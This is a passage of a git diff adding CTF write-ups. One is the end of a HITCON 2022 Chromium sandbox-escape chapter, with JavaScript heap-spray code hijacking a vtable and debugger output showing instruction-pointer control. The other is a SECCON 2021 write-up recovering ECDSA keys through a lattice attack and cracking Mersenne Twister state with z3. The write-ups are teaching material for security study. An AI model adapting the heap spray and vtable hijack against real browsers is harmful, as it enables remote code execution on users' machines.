if we could reach the following line which has a virtual function call. We can fix this crash by spraying a fake `SandboxImpl` that has `backup_` set to `nullptr` instead of 0x4141414141414141. + +```js +let clients = []; +for (let i = 0; i < 1000; i++) { + clients.push(newClient()); +} + +let spray = []; +for (let i = 0; i < 100; i++) { + spray.push(newClient()); +} + +let iface = newClient(); + +let arg2 = new BigUint64Array(0x1020 / 8); +arg2.fill(0x4141414141414141n); +arg2[0x800 / 8 + 0x818 / 8] = 0n; +let arg = new Uint8Array(arg2.buffer); + +for (let i = 0; i < clients.length; i++) { + clients[i].pourSand(arg); +} + +for (let i = 0; i < 100; i++) { + iface.pourSand(arg); + iface.ptr.reset(); + iface = newClient(); +} + +for (let i = 0; i < spray.length; i++) { + spray[i].pourSand(arg); +} +``` + +``` +Thread 8 "Chrome_IOThread" received signal SIGSEGV, Segmentation fault. +[Switching to Thread 0x7ffff1504640 (LWP 12689)] +0x000055555b7b216b in Pour () at ../../content/browser/sandbox/sandbox_impl.cc:60 +60 this->PourSand(sand_for_box); +LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA +───────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────────────── +*RAX 0x4141414141414141 ('AAAAAAAA') +*RBX 0x12c000ee7800 ◂— 0x4141414141414141 ('AAAAAAAA') + RCX 0x0 +*RDX 0x12c000ee8000 ◂— 0x4141414141414141 ('AAAAAAAA') +*RDI 0x12c000ee7800 ◂— 0x4141414141414141 ('AAAAAAAA') + RSI 0x7ffff1503000 —▸ 0x12c0003dd800 ◂— 0x4141414141414141 ('AAAAAAAA') +*R8 0x12c000ee7800 ◂— 0x4141414141414141 ('AAAAAAAA') + R9 0x7ffff1502ec4 ◂— 0x4abb410038323134 /* '4128' */ + R10 0x0 + R11 0x293 +*R12 0x12c000285000 ◂— 0x4141414141414141 ('AAAAAAAA') +*R13 0x12c000286020 ◂— 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' +*R14 0x12c000ee8020 ◂— 0x0 + R15 0x0 + RBP 0x7ffff1503040 —▸ 0x7ffff15030d0 —▸ 0x7ffff1503350 —▸ 0x7ffff1503400 —▸ 0x7ffff1503420 ◂— ... + RSP 0x7ffff1502ff0 —▸ 0x7ffff1503010 —▸ 0x12c0003de000 ◂— 0x6400000000 + RIP 0x55555b7b216b ◂— call qword ptr [rax + 0x20] +────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────────────── + 0x55555b7b2159 mov rdi, r15 + 0x55555b7b215c call free + + 0x55555b7b2161 mov rax, qword ptr [rbx] + 0x55555b7b2164 lea rsi, [rbp - 0x40] + 0x55555b7b2168 mov rdi, rbx + ► 0x55555b7b216b call qword ptr [rax + 0x20] + + 0x55555b7b216e mov rdi, qword ptr [rbp - 0x40] + 0x55555b7b2172 test rdi, rdi + 0x55555b7b2175 je 0x55555b7b21cf <0x55555b7b21cf> + + 0x55555b7b2177 mov rax, qword ptr [rbp - 0x38] + 0x55555b7b217b mov rcx, rax +─────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]────────────────────────────────────────────────────────────────────── +In file: /stuff/chromium/src/content/browser/sandbox/sandbox_impl.cc + 57 if (sand_sz > 0x800) { + 58 std::vector sand_for_box(sand.begin(), sand.begin()+0x800); + 59 this->backup_ = std::make_unique>(sand.begin()+0x800, sand.end()); + ► 60 this->PourSand(sand_for_box); + 61 } else { + 62 for ( i = 0 ; i < sand_sz ; i++) { + 63 this->box_[i] = sand[i]; + 64 } + 65 } +─────────────────────────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────────────────────────── +00:0000│ rsp 0x7ffff1502ff0 —▸ 0x7ffff1503010 —▸ 0x12c0003de000 ◂— 0x6400000000 +01:0008│ 0x7ffff1502ff8 —▸ 0x12c001169ca0 —▸ 0x12c000ee7800 ◂— 0x4141414141414141 ('AAAAAAAA') +02:0010│ rsi 0x7ffff1503000 —▸ 0x12c0003dd800 ◂— 0x4141414141414141 ('AAAAAAAA') +03:0018│ 0x7ffff1503008 —▸ 0x12c0003de000 ◂— 0x6400000000 +04:0020│ 0x7ffff1503010 —▸ 0x12c0003de000 ◂— 0x6400000000 +05:0028│ 0x7ffff1503018 —▸ 0x12c000348000 ◂— 0x0 +06:0030│ 0x7ffff1503020 —▸ 0x7ffff15030f0 —▸ 0x5555636cb400 (base::DefaultTickClock::GetInstance()::default_tick_clock) —▸ 0x555562f48590 —▸ 0x555558e19a90 ◂— ... +07:0038│ 0x7ffff1503028 —▸ 0x12c000314780 —▸ 0x55556304c550 —▸ 0x55555cffbe60 (base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::~ThreadControllerWithMessagePumpImpl()) ◂— push rbp +───────────────────────────────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────────────────────────────── + ► f 0 0x55555b7b216b + f 1 0x55555cfe4fe1 base::TaskAnnotator::RunTaskImpl(base::PendingTask&)+257 + f 2 0x55555cfe4fe1 base::TaskAnnotator::RunTaskImpl(base::PendingTask&)+257 + f 3 0x55555cffd32d base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)+1277 + f 4 0x55555cffd32d base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*)+1277 + f 5 0x55555cffcc1f base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork()+127 + f 6 0x55555cffdab5 + f 7 0x55555d056723 base::MessagePumpLibevent::Run(base::MessagePump::Delegate*)+211 +──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── + +pwndbg> x/10gx $rdi +0x12c000ee7800: 0x4141414141414141 0x4141414141414141 +0x12c000ee7810: 0x4141414141414141 0x4141414141414141 +0x12c000ee7820: 0x4141414141414141 0x4141414141414141 +0x12c000ee7830: 0x4141414141414141 0x4141414141414141 +0x12c000ee7840: 0x4141414141414141 0x4141414141414141 +``` + +Much better! We now have a virtual call with a controlled vtable pointer. The easiest way to exploit this is to store a fake vtable in the `box_` of a `SandboxImpl`, leak its address using `GetHeapAddress` and point our fake `SandboxImpl`'s vtable there for RIP control. + +```js + let fake = newClient(); + let fake_vtable = new BigUint64Array(0x800 / 8); + + fake_vtable.fill(0x41414141n); + fake.pourSand(new Uint8Array(fake_vtable.buffer)); + + const heap_leak = (await fake.getHeapAddress()).addr; + let boxed_mem = BigInt(heap_leak) + 0x18n; + print(`Fake VTable at: ${hex(boxed_mem)}`); + + let clients = []; + for (let i = 0; i < 1000; i++) { + clients.push(newClient()); + } + + let spray = []; + for (let i = 0; i < 100; i++) { + spray.push(newClient()); + } + + let iface = newClient(); + + let arg2 = new BigUint64Array(0x1020 / 8); + arg2.fill(0x4141414141414141n); + arg2[0x800 / 8] = BigInt(boxed_mem) + 1n; + arg2[0x800 / 8 + 0x818 / 8] = 0n; + let arg = new Uint8Array(arg2.buffer); + + for (let i = 0; i < clients.length; i++) { + clients[i].pourSand(arg); + } + + for (let i = 0; i < 100; i++) { + iface.pourSand(arg); + iface.ptr.reset(); + iface = newClient(); + } + + for (let i = 0; i < spray.length; i++) { + spray[i].pourSand(arg); + } +``` + +``` +Thread 8 "Chrome_IOThread" received signal SIGSEGV, Segmentation fault. +[Switching to Thread 0x7ffff1504640 (LWP 12853)] +0x0000000041414141 in ?? () +``` + +🥳 + +At this point we just have to set up a JOP + ROP chain near our fake VTable and use it to launch the flag printer. In short we jump to a stack pivot JOP gadget and point RSP to our fake vtable, then from there execute a ROP chain that runs `execve("/home/chrome/flag_printer")`. Nothing special. The chrome binary has a lot of gadgets so we don't even need to leak the address of libc. + +`hitcon{d0nt_U53_uNR3+4N3d_uSe_W34k_PtR_1nStEaD}` + +## Final exploit: + +```html + + + + + + + + + +``` + +## Table of Contents + +- [Prologue](./fourchain-prologue): Introduction +- [Chapter 1: Hole](./fourchain-hole): Using the "hole" to pwn the V8 heap and some delicious Swiss cheese. +- **[Chapter 2: Sandbox](./fourchain-sandbox) (You are here)** +- [Chapter 3: Kernel](./fourchain-kernel): Chaining the Cross-Cache Cred Change +- [Chapter 4: Hypervisor](./fourchain-hv): Lord of the MMIO: A Journey to IEM +- [Chapter 5: One for All](./fourchain-fullchain): Uncheesing a Challenge and GUI Troubles +- [Epilogue](./fourchain-epilogue): Closing thoughts \ No newline at end of file diff --git a/HITCON-2022/pwn/img/fourchain_gui.mp4 b/HITCON-2022/pwn/img/fourchain_gui.mp4 new file mode 100755 index 0000000..0af2e4b Binary files /dev/null and b/HITCON-2022/pwn/img/fourchain_gui.mp4 differ diff --git a/HITCON-2022/pwn/img/pseudo_descriptor.svg b/HITCON-2022/pwn/img/pseudo_descriptor.svg new file mode 100755 index 0000000..79ff384 --- /dev/null +++ b/HITCON-2022/pwn/img/pseudo_descriptor.svg @@ -0,0 +1,4 @@ + + + +
64-bit Base Address
64-bit Base Address
Limit
Limit
79
79
16
16
15
15
0
0
Text is not SVG - cannot display
\ No newline at end of file diff --git a/HITCON-2022/pwn/img/segment_selector.svg b/HITCON-2022/pwn/img/segment_selector.svg new file mode 100755 index 0000000..5c7c563 --- /dev/null +++ b/HITCON-2022/pwn/img/segment_selector.svg @@ -0,0 +1,4 @@ + + + +
Index
Index
15
15
T
I
T...
RPL
RPL
3
3
2
2
1
1
0
0
Table Indicator
Table Indicator
0 = GDT
1 = LDT
0 = GDT...
Request Privilege Level
Request Privilege Level
Text is not SVG - cannot display
\ No newline at end of file diff --git a/HITCON-2022/pwn/img/vbox_arch.svg b/HITCON-2022/pwn/img/vbox_arch.svg new file mode 100755 index 0000000..1eef8b6 --- /dev/null +++ b/HITCON-2022/pwn/img/vbox_arch.svg @@ -0,0 +1,4 @@ + + + +
R0
R0
R1/2
R1/2
R3
R3
Guest Context
Guest Context
Host Context
Host Context
Guest R1/2 code
Guest R1/2 code
IOCTL
IOCTL
VBoxVMM
VBoxVMM
VBoxHeadless
VBoxHeadless
vboxdrv
vboxdrv
VMMR3
VMMR3
VMMR0
VMMR0
VBoxSVC
VBoxSVC
HMVMXR0
HMVMXR0
VT-x entry
VT-x en...
VT-x
VT-x
OS drivers
OS drivers
VBoxMouse
VBoxMouse
VBoxVideo
VBoxVideo
VBox...
VBox...
MMIO IOPORT
MMIO IOPORT
VBoxControl
VBoxControl
VBoxGuestLibR3
VBoxGuestLibR3
VBoxService
VBoxService
IEM
IEM
Text is not SVG - cannot display
\ No newline at end of file diff --git a/README.md b/README.md new file mode 100755 index 0000000..9bb97c2 --- /dev/null +++ b/README.md @@ -0,0 +1,20 @@ + + diff --git a/SECCON-2021/crypto/signwars.html b/SECCON-2021/crypto/signwars.html new file mode 100755 index 0000000..355909e --- /dev/null +++ b/SECCON-2021/crypto/signwars.html @@ -0,0 +1,669 @@ + + + + + +Sign Wars | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Sign Wars

+ +

Author: Robin_Jadoul, solved together with esrever

+ +

Tags: crypto, ecdsa, lattice, mt19937

+ +

Points: 305 (8 solves)

+ +

The challenge

+ +
+

A long time ago in a galaxy far, far away….

+
+ +
from Crypto.Util.number import bytes_to_long, long_to_bytes
+from Crypto.Util.Padding import pad
+import random
+from secret import msg1, msg2, flag
+
+flag = pad(flag, 96)
+flag1 = flag[:48]
+flag2 = flag[48:]
+
+# P-384 Curve
+p = 39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319
+a = -3
+b = 27580193559959705877849011840389048093056905856361568521428707301988689241309860865136260764883745107765439761230575
+curve = EllipticCurve(GF(p), [a, b])
+order = 39402006196394479212279040100143613805079739270465446667946905279627659399113263569398956308152294913554433653942643
+Z_n = GF(order)
+gx = 26247035095799689268623156744566981891852923491109213387815615900925518854738050089022388053975719786650872476732087
+gy = 8325710961489029985546751289520108179287853048861315594709205902480503199884419224438643760392947333078086511627871
+G = curve(gx, gy)
+
+for b in msg1:
+    assert b >= 0x20 and b <= 0x7f
+z1 = bytes_to_long(msg1)
+assert z1 < 2^128
+
+for b in msg2:
+    assert b >= 0x20 and b <= 0x7f
+z2 = bytes_to_long(msg2)
+assert z2 < 2^384
+
+# prequel trilogy
+def sign_prequel():
+    d = bytes_to_long(flag1)
+    sigs = []
+    for _ in range(80):
+        # normal ECDSA. all bits of k are unknown.
+        k1 = random.getrandbits(128)
+        k2 = z1
+        k3 = random.getrandbits(128)
+        k = (k3 << 256) + (k2 << 128) + k1
+        kG = k*G
+        r, _ = kG.xy()
+        r = Z_n(r)
+        k = Z_n(k)
+        s = (z1 + r*d) / k
+        sigs.append((r,s))
+
+    return sigs
+
+# original trilogy
+def sign_original():
+    d = bytes_to_long(flag2)
+    sigs = []
+    for _ in range(3):
+        # normal ECDSA
+        k = random.getrandbits(384)
+        kG = k*G
+        r, _ = kG.xy()
+        r = Z_n(r)
+        k = Z_n(k)
+        s = (z2 + r*d) / k
+        sigs.append((r,s))
+
+    return sigs
+
+
+def sign():
+    sigs1 = sign_prequel()
+    print(sigs1)
+    sigs2 = sign_original()
+    print(sigs2)
+    
+
+if __name__ == "__main__":
+    sign()
+
+ +

Preliminary analysis

+ +

We observe that the flag is cut into two separate pieces, and we get some ECDSA signatures (over the P-384 curve) for two separate (ascii-range) messages where each part of the flag is used as a secret key respectively. We however do not learn either of the messages being signed. +For the first part of the flag, we get 80 signatures, where the message being signed is embedded into the random nonce as $k = k_3\cdot 2^{256} + z_1 \cdot 2^{128} + k_1$ where each of $k_1, k_3, z_1$ consists of 128 bits. Having a bias to an (EC)DSA signature nonce, along with a fair amount of signatures quickly points towards a lattice attack exploiting the bias, similar to e.g. this paper, through a reduction to the Hidden Number Problem. +For the second part, we only get 3 signatures, and the nonce bias has disappeared. So it seems we can’t apply the same approach here anymore. The only way we can attack this (even solving the discrete logarithm won’t help us here, as we can’t recover a public key without knowing the message either), is by knowing exactly what randomness we’re dealing with. Luckily for us, the challenge is using random.getrandbits, which is using a Mersenne twister behind the scenes, and given enough outputs of a Mersenne twister, we can predict other outputs. Where can we get such known outputs, you ask? Well we have some $80 \times 256$ bits of randomness we can recover from the signatures in part one if we manage to recover both the private key and the message being signed there.

+ +

What’s a CTF crypto challenge without lattices?

+ +

The straightforward transformation from ECDSA to HNP generally assumes we know the value of the fixed bits. This is, given that we don’t know the message being signed yet, not the case here, so we’ll need to massage our signatures a bit first. +Our goal will be to “sacrifice” one of our signatures to subtract away the $z_1$ in the other nonces and arrive at a known bias of 0 for the remaining 79 signatures. With some rewriting, we obtain the following: +\begin{align*} + &&s^{(j)} \cdot k^{(j)} &= z_1 + r^{(j)}\cdot d + m^{(j)} \cdot |G| \newline +\iff &&(s^{(j)} \cdot 2^{128} - 1) \cdot z_1 &= -s^{(j)} \cdot (k_3^{(j)}\cdot 2^{256} + k_1^{(j)}) + r^{(j)}\cdot d + m^{(j)}\cdot |G| +\end{align*} +And by rewriting an arbitrary fixed signature (say the very first one) into an equivalent form, equating $z_1 = z_1$ and doing a cross multiplication, we get +\begin{align*} + &&(s^{(j)}\cdot 2^{128} - 1) \cdot \left(-s^{(j)} \cdot (k_3^{(j)}\cdot 2^{256} + k_1^{(j)}) + r^{(j)}\cdot d + m^{(j)}\cdot |G|\right)\newline + &= \newline + &&(s^{(0)}\cdot 2^{128} - 1) \cdot \left(-s^{(0)} \cdot (k_3^{(0)}\cdot 2^{256} + k_1^{(0)}) + r^{(0)}\cdot d + m^{(0)}\cdot |G|\right) +\end{align*}

+ +

From this set of linear constraints, along with the known (or easy-to-derive) bounds on each of the unknown variables, we can then apply some black magic1 and obtain the secret key (which is the first half of the flag), and some of the $k_1^{(j)}$ and $k_3^{(j)}$ we care about for the next part of the challenge at once.

+ +

Some lattice code

+ +

With the theoretical part out of the way, we first just setup our wrapper around rkm’s work that allows us to simply specify our linear (in)equalities and to automatically get the lattice out of it.

+ +
from dataclasses import dataclass
+from typing import Any, Callable, List, Mapping
+
+
+@dataclass
+class Constraint:
+    """ Constraint on a linear function
+    The corresponding formula is:
+        lower_bound <= sum(coefficients[var] * var, for all var) <= upper_bound
+    """
+    coefficients: Mapping[str, int]
+    lower_bound: int
+    upper_bound: int
+
+    def __str__(self):
+        formula = ' + '.join(f'{c}*{x}' for x, c in self.coefficients.items())
+        return f'{self.lower_bound} <= {formula} <= {self.upper_bound}'
+
+
+def constraints_to_lattice(
+    constraints: List[Constraint],
+    debug: bool = False
+) -> (List[List[int]], List[str]):
+    from itertools import chain
+
+    if debug:
+        print('constraints = [')
+        print(',\n'.join(f'\t{c}' for c in constraints))
+        print(']')
+
+    variables = sorted(list(set(chain.from_iterable(
+        c.coefficients.keys() for c in constraints
+    ))))
+
+    lattice = [[0] * len(constraints) for _ in range(len(variables))]
+    for i, c in enumerate(constraints):
+        for var, coef in c.coefficients.items():
+            lattice[variables.index(var)][i] = coef
+
+    if debug:
+        print(f'variables = {variables}')
+        print(f'lattice_nrows = {len(variables)} variables')
+        print(f'lattice_ncols = {len(constraints)} constraints')
+        print('lattice =')
+        for row in lattice:
+            print(''.join('*' if v else '.' for v in row))
+
+    return lattice, variables
+
+
+# ===== rkm solver =====
+
+
+def load_rkm_solver(
+    filename: str = None
+) -> Callable:
+    """ Load rkm's solver without overwriting solve() in globals() """
+    from copy import copy
+
+    if filename is None:
+        filename = 'https://raw.githubusercontent.com/rkm0959/Inequality_Solving_with_CVP/main/solver.sage'  # noqa
+    context = copy(globals())
+    sage.repl.load.load(filename, context)
+    return context['solve']
+
+
+def rkm_wrapper(
+    constraints: List[Constraint],
+    debug: bool = False,
+    solver: Callable = load_rkm_solver(),
+    **kwargs: Any,
+) -> Mapping[str, int]:
+    """ Wrapper for rkm's inequalities solver """
+    lattice, variables = constraints_to_lattice(constraints, debug)
+
+    # Call solver
+    if debug:
+        print('Start solving...')
+    weighted_close_vec, weights, sol_vec = \
+        solver(matrix(lattice),
+               [c.lower_bound for c in constraints],
+               [c.upper_bound for c in constraints],
+               **kwargs)
+
+    # Get solution
+    if sol_vec is None:
+        weighted_lattice = matrix(lattice) * matrix.diagonal(weights)
+        H, U = weighted_lattice.hermite_form(transformation=True)
+        sol_vec = H.solve_left(weighted_close_vec).change_ring(ZZ) * U
+    solution = dict(zip(variables, sol_vec))
+    if debug:
+        print(f'solution = {solution}')
+
+    # Check solution
+    for c in constraints:
+        coefs, lb, ub = c.coefficients, c.lower_bound, c.upper_bound
+        val = sum(coef * solution[var] for var, coef in coefs.items())
+        if not lb <= val <= ub:
+            raise Exception('Constrained value out-of-bound, '
+                            f'lb={lb}, ub={ub}, value={val}, coefs={coefs}, '
+                            f'solution={solution}')
+
+    return solution
+
+ +

After which we encode the constraints, and get a stimulating first half of the flag.

+ +
sigs = ... # challenge data
+
+
+from itertools import product
+
+# Constants
+order = 39402006196394479212279040100143613805079739270465446667946905279627659399113263569398956308152294913554433653942643
+
+
+# STEP: solve d
+
+# Variables
+n_samples = 7
+
+d_var = 'd'
+k1s = [f'k1_{i}' for i in range(n_samples)]
+k3s = [f'k3_{i}' for i in range(n_samples)]
+ms = [f'm_{i}' for i in range(n_samples)]
+
+# Constraints
+constraints = []
+
+# Size: 0 <= d < 2**384
+constraints.append(Constraint({d_var: 1}, 0, 2 ** 384 - 1))
+# Size: 0 <= k1s[i], k3s[i] < 2**128
+for var in k1s + k3s:
+    constraints.append(Constraint({var: 1}, 0, 2 ** 128 - 1))
+
+# ss[i] * (k3s[i] || z1 || k1s[i]) = z1 + rs[i]*d + m[i]*order
+# => z1 = (-ss[i]*k3s[i]*2**256 - ss[i]*k1s[i] + rs[i]*d + m[i]*order) / (ss[i]*2**128 - 1)
+for i in range(1, n_samples):
+    r0, s0 = sigs[0]
+    ri, si = sigs[i]
+    cz0 = s0*2**128 - 1
+    czi = -1 * (si*2**128 - 1)
+    coefs = {
+        d_var: ri*cz0 + r0*czi,
+        k1s[i]: cz0 * -si,
+        k3s[i]: cz0 * -si * 2**256,
+        ms[i]: order * cz0,
+        k1s[0]: czi * -s0,
+        k3s[0]: czi * -s0 * 2**256,
+        ms[0]: order * czi,
+    }
+    constraints.append(Constraint(coefs, 0, 0))
+
+# Solve
+solution = rkm_wrapper(constraints, debug=False)
+d = solution[d_var] % order
+print(f'd = {d} = {int(d).to_bytes(48, "big")}')
+
+
+

SECCON{New_STARWARS_Spin-Off_The_Book_Of_Boba_Fe

+
+ +

Quick note: It’s very likely possible and even simple to forgo the sacrifice for $z_1$ and just directly add it as a constraint in our lattice solver. This is just the way we went about it before deciding to just pick up that hammer instead of setting up a clean lattice specifically for the resulting HNP.

+ +

Dancing a twist

+ +

From here, we can either recover $z_1$ first, so we can extract the randomness from the signatures, or just use all signatures rather than only 7 of them to let the lattice do all the work. +We chose to go with the former:

+
def get_z1_num(s, k3, k1, r, d, m):
+    return -s*k3*2**256 - s*k1 + r*d + m*order
+def get_z1_denom(s):
+    return s*2**128 - 1
+def get_z1(s, k3, k1, r, d, m):
+    num = get_z1_num(s, k3, k1, r, d, m)
+    denom = get_z1_denom(s)
+    assert num % denom == 0
+    return num // denom
+z1s = []
+for i in range(n_samples):
+    z1s.append(get_z1(sigs[i][1], solution[k3s[i]], solution[k1s[i]], sigs[i][0], solution[d_var], solution[ms[i]]))
+assert z1s == [z1s[0]] * len(z1s), 'z1 not all equal'
+z1 = z1s[0] % order
+print(f'z1 = {z1} = {int(z1).to_bytes(16, "big")}')
+
+

immediately already recovered all randomness that came from the Mersenne Twister during part 1, and hence we should have plenty of data to recover the full nonces of part 2. We simply dig through old CTF files lying around in our home directory (because who would ever think of cleanly organizing any of this…) and dig up our z3-based solver. +Yes, it’s easy enough to do it without SMT solving, but having these kinds of hammers lying around is always so much more inviting.

+
import random
+from z3 import *
+
+class MT19937:
+    W = 32
+    N = 624
+    M = 397
+    R = 31
+    A = 0x9908B0DF
+    U = 11
+    D = 0xFFFFFFFF
+    S = 7
+    B = 0x9D2C5680
+    T = 15
+    C = 0xEFC60000
+    L = 18
+
+    F = 1812433253
+
+    def __init__(self, seed=None):
+        if seed is None:
+            seed = int.from_bytes(os.urandom(self.W // 8), byteorder='little')
+        self.state = [seed % (2**self.W)]
+        for i in range(1, self.N):
+            self.state.append((self.F * (self.state[-1] ^ (self.state[-1] >> (self.W - 2))) + i) % (2**self.W))
+        self.idx = self.N
+
+    def rand(self):
+        if self.idx >= self.N:
+            self._twist()
+        y = self.state[self.idx]
+        y ^= (y >> self.U) & self.D
+        y ^= (y << self.S) & self.B
+        y ^= (y << self.T) & self.C
+        y ^= y >> self.L
+        self.idx += 1
+        return y % (2**self.W)
+
+    def rand128(self):
+        result = self.rand()
+        for i in range(1, 4):
+            result = (self.rand() << (i*32)) | result
+        return result
+
+    def _twist(self):
+        lower_mask = (1 << self.R) - 1
+        upper_mask = (~lower_mask) % (2**self.W)
+        for i in range(0, self.N):
+            x = (self.state[i] & upper_mask) + (self.state[(i + 1) % self.N] & lower_mask)
+            xA = x >> 1
+            if x % 2 != 0:
+                xA ^= self.A
+            self.state[i] = self.state[(i + self.M) % self.N] ^ xA
+        self.idx = 0
+
+class Z3MT19937:
+    W = 32
+    N = 624
+    M = 397
+    R = 31
+    A = 0x9908B0DF
+    U = 11
+    D = 0xFFFFFFFF
+    S = 7
+    B = 0x9D2C5680
+    T = 15
+    C = 0xEFC60000
+    L = 18
+
+    F = 1812433253
+
+    def __init__(self):
+        self.state = [BitVec(f"state_{i}", 32) for i in range(self.N)]
+        self.idx = self.N
+
+    def rand(self):
+        if self.idx >= self.N:
+            self._twist()
+        y = self.state[self.idx]
+        y ^= LShR(y, self.U) & self.D
+        y ^= (y << self.S) & self.B
+        y ^= (y << self.T) & self.C
+        y ^= LShR(y, self.L)
+        self.idx += 1
+        return y
+    
+    def rand128(self):
+        result = self.rand()
+        for i in range(1, 4):
+            result = Concat(self.rand(), result)
+        assert result.size() == 128
+        return result
+
+    def _twist(self):
+        lower_mask = (1 << self.R) - 1
+        upper_mask = (~lower_mask) % (2**self.W)
+        for i in range(0, self.N):
+            x = (self.state[i] & upper_mask) + (self.state[(i + 1) % self.N] & lower_mask)
+            xA = LShR(x, 1)
+            xA = If(x & 1 == 1, xA ^ self.A, xA)
+            self.state[i] = self.state[(i + self.M) % self.N] ^ xA
+        self.idx = 0
+
+def crack(inputs, offset=0):
+    fr = Z3MT19937()
+    initstate = fr.state[:]
+
+    s = Solver()
+    for _ in range(offset):
+        fr.rand128()
+    for inp in inputs:
+        s.add(inp == fr.rand128())
+    s.check()
+    dup = MT19937()
+    dup.state = [s.model()[x].as_long() for x in initstate]
+    with open('state.txt', 'w') as f:
+        f.write(str(dup.state))
+    for _ in inputs:
+        dup.rand128()
+    for _ in range(offset):
+        dup.rand128()
+    return dup
+
+blocks = []
+for i, (r, s) in enumerate(sigs):
+    k = (z1 + r*d) / s % order
+    assert (k >> 128) % 2**128 == z1, f'bad k, i = {i}'
+    blocks.append(k % 2**128)
+    blocks.append(k >> 256)
+
+rnd = crack(blocks)
+ks = [y[0] + 2^128 * y[1] + 2^256 * y[2] for _ in range(3) for y in [[rnd.rand128() for _ in range(3)]]]
+
+ +

From there, the only obstacle left is that we’re once again unaware of the value taken by $z_2$. So we repeat our approach of combining two signatures to cancel it out, and solve for the private key.

+ +
d = (sigs[0][1]*ks[0] - sigs[1][1]*ks[1]) / (sigs[0][0] - sigs[1][0]) % order
+print(int(d).to_bytes(48, 'big'))
+z2 = (sigs[0][1] * ks[0] - sigs[0][0] * d) % order
+print(int(z2).to_bytes(48, 'big').strip(b'\0'))
+
+ +

Fin

+

And there we go, just apply the right hammers and you can smash a CTF challenge into tiny bits. +The full flag:

+
+

SECCON{New_STARWARS_Spin-Off_The_Book_Of_Boba_Fett_Will_Premiere_On_December_29-107c360aab}

+
+ +

And just for fun, the messages being signed:

+ +
+

th1s_1s_n0t_fl4g

+
+ +
+

May_The_Lattice_Reduction_Be_With_You…

+
+ +
+
    +
  1. +

    Thanks again, rkm! 

    +
  2. +
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/SECCON-2021/crypto/signwars.md b/SECCON-2021/crypto/signwars.md new file mode 100755 index 0000000..b9e6204 --- /dev/null +++ b/SECCON-2021/crypto/signwars.md @@ -0,0 +1,461 @@ +# Sign Wars + +**Author**: Robin_Jadoul, solved together with [esrever](https://twitter.com/esrever_25519) + +**Tags**: crypto, ecdsa, lattice, mt19937 + +**Points**: 305 (8 solves) + +## The challenge + +> A long time ago in a galaxy far, far away.... + +```python +from Crypto.Util.number import bytes_to_long, long_to_bytes +from Crypto.Util.Padding import pad +import random +from secret import msg1, msg2, flag + +flag = pad(flag, 96) +flag1 = flag[:48] +flag2 = flag[48:] + +# P-384 Curve +p = 39402006196394479212279040100143613805079739270465446667948293404245721771496870329047266088258938001861606973112319 +a = -3 +b = 27580193559959705877849011840389048093056905856361568521428707301988689241309860865136260764883745107765439761230575 +curve = EllipticCurve(GF(p), [a, b]) +order = 39402006196394479212279040100143613805079739270465446667946905279627659399113263569398956308152294913554433653942643 +Z_n = GF(order) +gx = 26247035095799689268623156744566981891852923491109213387815615900925518854738050089022388053975719786650872476732087 +gy = 8325710961489029985546751289520108179287853048861315594709205902480503199884419224438643760392947333078086511627871 +G = curve(gx, gy) + +for b in msg1: + assert b >= 0x20 and b <= 0x7f +z1 = bytes_to_long(msg1) +assert z1 < 2^128 + +for b in msg2: + assert b >= 0x20 and b <= 0x7f +z2 = bytes_to_long(msg2) +assert z2 < 2^384 + +# prequel trilogy +def sign_prequel(): + d = bytes_to_long(flag1) + sigs = [] + for _ in range(80): + # normal ECDSA. all bits of k are unknown. + k1 = random.getrandbits(128) + k2 = z1 + k3 = random.getrandbits(128) + k = (k3 << 256) + (k2 << 128) + k1 + kG = k*G + r, _ = kG.xy() + r = Z_n(r) + k = Z_n(k) + s = (z1 + r*d) / k + sigs.append((r,s)) + + return sigs + +# original trilogy +def sign_original(): + d = bytes_to_long(flag2) + sigs = [] + for _ in range(3): + # normal ECDSA + k = random.getrandbits(384) + kG = k*G + r, _ = kG.xy() + r = Z_n(r) + k = Z_n(k) + s = (z2 + r*d) / k + sigs.append((r,s)) + + return sigs + + +def sign(): + sigs1 = sign_prequel() + print(sigs1) + sigs2 = sign_original() + print(sigs2) + + +if __name__ == "__main__": + sign() +``` + +## Preliminary analysis + +We observe that the flag is cut into two separate pieces, and we get some ECDSA signatures (over the P-384 curve) for two separate (ascii-range) messages where each part of the flag is used as a secret key respectively. We however do not learn either of the messages being signed. +For the first part of the flag, we get 80 signatures, where the message being signed is embedded into the random nonce as $k = k_3\cdot 2^{256} + z_1 \cdot 2^{128} + k_1$ where each of $k_1, k_3, z_1$ consists of 128 bits. Having a bias to an (EC)DSA signature nonce, along with a fair amount of signatures quickly points towards a lattice attack exploiting the bias, similar to e.g. [this paper](https://eprint.iacr.org/2019/023.pdf), through a reduction to the Hidden Number Problem. +For the second part, we only get 3 signatures, and the nonce bias has disappeared. So it seems we can't apply the same approach here anymore. The only way we can attack this (even solving the discrete logarithm won't help us here, as we can't recover a public key without knowing the message either), is by knowing exactly what randomness we're dealing with. Luckily for us, the challenge is using `random.getrandbits`, which is using a Mersenne twister behind the scenes, and given enough outputs of a Mersenne twister, we can predict other outputs. Where can we get such known outputs, you ask? Well we have some $80 \times 256$ bits of randomness we can recover from the signatures in part one if we manage to recover both the private key and the message being signed there. + +## What's a CTF crypto challenge without lattices? + +The straightforward transformation from ECDSA to HNP generally assumes we know the value of the fixed bits. This is, given that we don't know the message being signed yet, not the 